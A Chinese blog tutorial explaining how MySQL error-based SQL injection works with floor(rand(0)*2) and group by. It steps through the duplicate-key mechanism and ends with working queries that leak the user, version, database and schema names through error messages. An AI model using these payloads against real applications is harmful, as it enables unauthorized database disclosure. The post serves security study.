mysql报错注入原理分析之floor()

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 环境:mysql 5.1.73[root@localhost ~]# mysql --versionmysql Ver 14.14 Distrib 5.

环境:mysql 5.1.73

[root@localhost ~]# mysql --version
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#
AI 代码解读

1.首先普及几个mysql里面的函数

  1. floor()
  • 在mysql里面floor()函数是取整(注意:不是四舍五入),下面实际操作验证一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)
AI 代码解读

[图片上传失败...(image-2b1322-1528340788318)]

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> 
AI 代码解读

[图片上传失败...(image-da5c47-1528340788318)]

事实证明上面说的没毛病

  1. group by
  • group by 我的理解是分组查询,根据一个列或者多个列,值相等的在一起

  • 下面实际操作理解一下,首先在数据库test里面创建一张test

mysql> CREATE TABLE IF NOT EXISTS `test`(
    ->    `id` INT AUTO_INCREMENT PRIMARY KEY,
    ->    `name` VARCHAR(100) NOT NULL,
    ->    `number` INT NOT NULL,
    ->    `content` VARCHAR(100)
    -> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)

mysql> 
AI 代码解读

[图片上传失败...(image-c3be09-1528340788318)]

  • 然后在test表中插入一些数据
mysql> insert into test
    -> (name,number,content)
    -> values
    -> ('aa',2,'11'),
    -> ('aa',3,'22'),
    -> ('bb',4,'33'),
    -> ('bb',5,'44'),
    -> ('bb',5,'55'),
    -> ('cc',6,'66'),
    -> ('cc',6,'77'),
    -> ('dd',2,'88'),
    -> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9  Duplicates: 0  Warnings: 0

mysql> 
AI 代码解读

[图片上传失败...(image-a80ee5-1528340788318)]

mysql> select * from test;
AI 代码解读

[图片上传失败...(image-f62cfa-1528340788318)]

  • 接下来进行我们的探索
mysql> select * from test group by name;
AI 代码解读

[图片上传失败...(image-9c13ef-1528340788318)]

通过比较,可以看出通过group by将字段name相同的进行分组查询,注意这个地方不要看其他内容,单纯理解一下这个分组的意思

  • 然后我们接着来看,上面不是说了分组的含义吗?其实数据库在执行group by时候创建了一张虚拟的表,是知道name这个字段相同的有几条结果的,如下图测试说明:

[图片上传失败...(image-234e0-1528340788318)]

  1. rand()
  • 在mysql里面rand()函数是随机产生一个范围(0,1)的随机数**

[图片上传失败...(image-8ba20b-1528340788318)]

  • 那么有人也许有疑问,随机产生的值有规律吗?为了验证猜想,下面找一个数据量比较大的表information_schema.tables测试一下,这里我只取30条数据实验
mysql> select rand() from information_schema.tables limit 0,30;
AI 代码解读

[图片上传失败...(image-8c769b-1528340788318)]

首先可以查看到每一条都是随机产生的浮点型值,而且这条sql语句经过多次执行发现,每一次执行结果也是随机的,由此可以得出此时rand()是真随机.

  • 这样看起来是不是有点累,开始的时候我首先普及了一个floor()取整函数,那么接下来我们可以这样做,会更清晰,更直观.
mysql> select floor(rand()) from information_schema.tables limit 0,30;
AI 代码解读

[图片上传失败...(image-f940f1-1528340788318)]

这样看是不是就这清晰直观明了,但是有人又有疑问了吧,为什么都是0呢,不是随机的吗,别忘了我们rand()随机范围(0,1),也就是随机出来的都是小于1的小数,然后floor()取整后可不都是0吗,这样看着方便了,但是却看不到随机性了,那好我们想个办法继续往下看。

mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

AI 代码解读

[图片上传失败...(image-99f8ee-1528340788318)]

这步看着应该不难理解吧,就是将随机范围(0,1)扩大2倍变成(0,2),这样随机值是不是有0点多的、1点多的,然后取整就可以清晰简单的研究其规律。经过多次执行这条语句发现:是没有规律的。这和之前没取整说的真随机是一样的。

  • 既然rand()是没有规律的,我们怎么研究?报错注入我们谷歌百度发现都是rand(0),那好,我们在试一试有随机因子是什么情况
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;
AI 代码解读

[图片上传失败...(image-c400fb-1528340788319)]

经过多次执行这条语句,你会发现这是一个规律,每次随机结果和这个一模一样

2.有了上面讲的基础知识,我们接下来就真正的研究下报错注入

  • 首先看一条报错的sql语句
mysql> select count(*) from test.test group by floor(rand(0)*2);
AI 代码解读

[图片上传失败...(image-5e2612-1528340788319)]

可以看到报错显示位'1',这个错误就是由于主键不能重复而暴出的错误

  • 接下来一步一步分析一下这个过程
    (1).首先查询之前会默认建立一张空的虚拟表,如下图所示:

[图片上传失败...(image-f5947e-1528340788319)]

(2).取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

[图片上传失败...(image-1743ae-1528340788319)]

(3).查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

[图片上传失败...(image-b53fd2-1528340788319)]

(4).查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

(5).整个查询过程floor(rand(0)*2)被计算了5次,这也是开始说让记住前5个值(01101)的缘故了查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

3.利用mysql报错手法

  • 首先收集基本收据库信息
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql> 
AI 代码解读

[图片上传失败...(image-e91717-1528340788319)]

  • 然后试试暴库
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql> 
AI 代码解读

[图片上传失败...(image-805896-1528340808287)]

  • ok没毛病,就是这样利用的往下就不再多说。
相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
打赏
0
0
0
0
2
分享
相关文章
MySQL原理简介—6.简单的生产优化案例
本文介绍了数据库和存储系统的几个主题: 1. **MySQL日志的顺序写和数据文件的随机读指标**:解释了磁盘随机读和顺序写的原理及对数据库性能的影响。 2. **Linux存储系统软件层原理及IO调度优化原理**:解析了Linux存储系统的分层架构,包括VFS、Page Cache、IO调度等,并推荐使用deadline算法优化IO调度。 3. **数据库服务器使用的RAID存储架构**:介绍了RAID技术的基本概念及其如何通过多磁盘阵列提高存储容量和数据冗余性。 4. **数据库Too many connections故障定位**:分析了MySQL连接数限制问题的原因及解决方法。
MySQL原理简介—3.生产环境的部署压测
本文介绍了Java系统和数据库在高并发场景下的压测要点: 1. 普通系统在4核8G机器上每秒能处理几百个请求 2. 高并发下数据库建议使用8核16G或更高配置的机器 3. 数据库部署后需进行基准压测,以评估其最大承载能力 4. QPS和TPS的区别及重要性 5. 压测时需关注IOPS、吞吐量、延迟 6. 除了QPS和TPS,还需监控CPU、内存、磁盘IO、网络带宽 7. 影响每秒可处理并发请求数的因素包括线程数、CPU、内存、磁盘IO和网络带宽 8. Sysbench是数据库压测工具,可构造测试数据并模拟高并发场景 9. 在增加线程数量的同时,必须观察机器的性能,确保各硬件负载在合理范围
117 72
MySQL原理简介—1.SQL的执行流程
本文介绍了MySQL驱动、数据库连接池及SQL执行流程的关键组件和作用。主要内容包括:MySQL驱动用于建立Java系统与数据库的网络连接;数据库连接池提高多线程并发访问效率;MySQL中的连接池维护多个数据库连接并进行权限验证;网络连接由线程处理,监听请求并读取数据;SQL接口负责执行SQL语句;查询解析器将SQL语句解析为可执行逻辑;查询优化器选择最优查询路径;存储引擎接口负责实际的数据操作;执行器根据优化后的执行计划调用存储引擎接口完成SQL语句的执行。整个流程确保了高效、安全地处理SQL请求。
152 76
RDS用多了,你还知道MySQL主从复制底层原理和实现方案吗?
随着数据量增长和业务扩展,单个数据库难以满足需求,需调整为集群模式以实现负载均衡和读写分离。MySQL主从复制是常见的高可用架构,通过binlog日志同步数据,确保主从数据一致性。本文详细介绍MySQL主从复制原理及配置步骤,包括一主二从集群的搭建过程,帮助读者实现稳定可靠的数据库高可用架构。
35 9
RDS用多了,你还知道MySQL主从复制底层原理和实现方案吗?
MySQL原理简介—9.MySQL索引原理
本文详细介绍了MySQL索引的设计与使用原则,涵盖磁盘数据页的存储结构、页分裂机制、主键索引设计及查询过程、聚簇索引和二级索引的原理、B+树索引的维护、联合索引的使用规则、SQL排序和分组时如何利用索引、回表查询对性能的影响以及索引覆盖的概念。此外还讨论了索引设计的案例,包括如何处理where筛选和order by排序之间的冲突、低基数字段的处理方式、范围查询字段的位置安排,以及通过辅助索引来优化特定查询场景。总结了设计索引的原则,如尽量包含where、order by、group by中的字段,选择离散度高的字段作为索引,限制索引数量,并针对频繁查询的低基数字段进行特殊处理等。
MySQL原理简介—9.MySQL索引原理
MySQL底层概述—6.索引原理
本文详细回顾了:索引原理、二叉查找树、平衡二叉树(AVL树)、红黑树、B-Tree、B+Tree、Hash索引、聚簇索引与非聚簇索引。
MySQL底层概述—6.索引原理
MySQL原理简介—12.MySQL主从同步
本文介绍了四种为MySQL搭建主从复制架构的方法:异步复制、半同步复制、GTID复制和并行复制。异步复制通过配置主库和从库实现简单的主从架构,但存在数据丢失风险;半同步复制确保日志复制到从库后再提交事务,提高了数据安全性;GTID复制简化了配置过程,增强了复制的可靠性和管理性;并行复制通过多线程技术降低主从同步延迟,保证数据一致性。此外,还讨论了如何使用工具监控主从延迟及应对策略,如强制读主库以确保即时读取最新数据。
MySQL原理简介—12.MySQL主从同步
MySQL原理简介—7.redo日志的底层原理
本文介绍了MySQL中redo日志和undo日志的主要内容: 1. redo日志的意义:确保事务提交后数据不丢失,通过记录修改操作并在系统宕机后重做日志恢复数据。 2. redo日志文件构成:记录表空间号、数据页号、偏移量及修改内容。 3. redo日志写入机制:redo日志先写入Redo Log Buffer,再批量刷入磁盘文件,减少随机写以提高性能。 4. Redo Log Buffer解析:描述Redo Log Buffer的内存结构及刷盘时机,如事务提交、Buffer过半或后台线程定时刷新。 5. undo日志原理:用于事务回滚,记录插入、删除和更新前的数据状态,确保事务可完整回滚。
MySQL原理简介—8.MySQL并发事务处理
这段内容深入探讨了SQL语句执行原理、事务并发问题、MySQL事务隔离级别及其实现机制、锁机制以及数据库性能优化等多个方面。
MySQL原理简介—2.InnoDB架构原理和执行流程
本文介绍了MySQL中更新语句的执行流程及其背后的机制,主要包括: 1. **更新语句的执行流程**:从SQL解析到执行器调用InnoDB存储引擎接口。 2. **Buffer Pool缓冲池**:缓存磁盘数据,减少磁盘I/O。 3. **Undo日志**:记录更新前的数据,支持事务回滚。 4. **Redo日志**:确保事务持久性,防止宕机导致的数据丢失。 5. **Binlog日志**:记录逻辑操作,用于数据恢复和主从复制。 6. **事务提交机制**:包括redo日志和binlog日志的刷盘策略,确保数据一致性。 7. **后台IO线程**:将内存中的脏数据异步刷入磁盘。